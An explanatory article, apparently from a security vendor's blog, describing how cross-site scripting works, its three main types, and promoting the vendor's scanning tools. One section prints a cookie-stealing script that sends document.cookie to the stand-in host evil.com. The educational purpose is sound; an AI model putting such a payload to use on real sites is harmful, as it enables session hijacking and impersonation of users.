Everything you need to know about Cross-site Scripting (XSS) attacks

What is Cross-Site Scripting (XSS)?

Cross-site Scripting (XSS) represents a client-side code injection attack. By performing an XSS attack, the attacker aims to execute malicious scripts in the victim’s web browser. The actual attack occurs when the page or web application runs the malicious code. Vulnerable web pages or applications deliver malicious scripts to users’ browsers. Forums, message boards, and web pages where comments are allowed are most vulnerable to a cross-site scripting attack.

A web page or application is vulnerable to cross-site scripting if it uses unsanitized user input in the output that it generates. This user input then needs to be parsed by the victim’s browser. Cross-site Scripting attacks are possible in Flash, ActiveX, VBScript, and even CSS, but are most common in JavaScript.

Cross-Site Scripting is not the user’s problem!

While XSS does affect your users, it affects you too, like with every other attack. You can experience huge costs and reputational losses if your website or web application is vulnerable to XSS, and a malicious user ends up exploiting this vulnerability.

Cross-site scripting can also deface a website instead of targeting the user. By exploiting a cross-site scripting vulnerability, the attacker can use injected scripts to change the content of the website or redirect the browser to another web page.

How Cross-Site Scripting works?

Two stages of an cross-site scripting attack: 

  • Malicious code (payload) gets injected into a website 
  • The victim then visits the website with the malicious code (Some attacks target a specific user, then social engineering/phishing is used to trick the victim into clicking the malicious URL)

The vulnerable website needs to include user input in its pages directly. Then the malicious string can be used within the web page and treated as source code by the victim’s browser. In some variants of cross-site scripting, the attacker lures the user to visit a URL by using social engineering. The payload is part of the link the user clicks.

Here is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:

print "<html>"
print "<h2>Most recent comment</h2>"
print database.latestComment
print "</html>"

The code snippet above simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment consists of only text and contains no HTML tags or other code. The malicious user can submit a comment that contains a malicious payload, for example:

<script>doSomethingEvil();</script>

This results in the web server providing the following HTML code to users that visit the web page:

<html>
<h2>Most recent comment</h2>
<script>doSomethingEvil();</script>
</html>

The attacker’s victims mostly aren’t even aware that the attack is taking place.

Types of XSS

Cross-site Scripting attacks can be classified into three categories – Stored cross-site scripting, Reflected XSS, and DOM-based XSS.

Stored XSS (Persistent XSS)

Stored XSS or Persistent XSS is the most damaging type of XSS. An attacker uses XSS to inject malicious content, most often JavaScript code, into the target application. If there is no validation, the malicious code is permanently stored (persisted) by the target application. An attacker then enters the malicious code into a blog comment field, a forum post, or another user input field.

The XSS attack payload is served as part of the HTML code. Victims will end up executing the malicious script when they view the page in their browser.

Reflected XSS

Reflected XSS or non-persistent cross-site scripting is the most common type of cross-site scripting. In the case of a reflected XSS, the attacker’s payload has to be a part of the request that is sent to the webserver. It is then reflected in such a way that the HTTP response includes the payload from the HTTP request. Social engineering or phishing emails are then used to lure the victim into making a request to the server

As the reflected XSS is not a persistent attack, the attacker needs to deliver the payload to each victim. Reflected cross-site scripting attacks are often made using social networks.

DOM-Based XSS

DOM-Based XSS is an advanced cross-site scripting attack. The attack is possible if the web application’s client-side scripts write data provided by the user to the Document Object Model (DOM). A payload can be injected if the user data gets handled incorrectly The payload will be stored as part of the DOM and executed when data is read back from the DOM.

A DOM-based XSS attack is a client-side attack, and the malicious payload is never sent to the server. This makes it even more challenging to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs.

DOM objects most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash). And the Referrer (document.referrer).

Stealing Cookies Using XSS

stealing cookies using xss

Cross-site scripting attacks are often used by attackers to steal cookies, as this allows them to impersonate the victim. One of the ways the attacker can send the cookie to their own server is the following client-side script in the victim’s browser:

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

XSS Attack Vectors

Some of the common cross-site scripting attack vectors an attacker can use to compromise the security of a website or web application through an XSS attack are script tags, javascript events, body tags, image tags, iframe, and more. You can find a more extensive list of XSS payload examples by the OWASP organization – XSS Filter Evasion Cheat Sheet.

Prevent Cross-Site Scripting Attacks using NexDAST

Despite being an old technique, cross-site scripting vulnerabilities are still a common and dangerous threat to cybersecurity.

In order to detect XSS vulnerabilities in your website or web applications, you can use NeuraLegion’s NexDAST or NexPloit solutions, both are capable of finding XSS vulnerabilities.

Running a scan with NeuraLegion’s solutions is easy and fast. The results are entirely false-positive free, and the security tests can be part of your QA processes.

NexDAST and NexPloit seamlessly integrate into your SDLC and CI/CD tools like Azure DevOps, CircleCI, Janking, GitHub, and more, for a superior DevSecOps process.

If you want to learn more about our solutions and how they can speed up your security efforts, make sure to request a demo.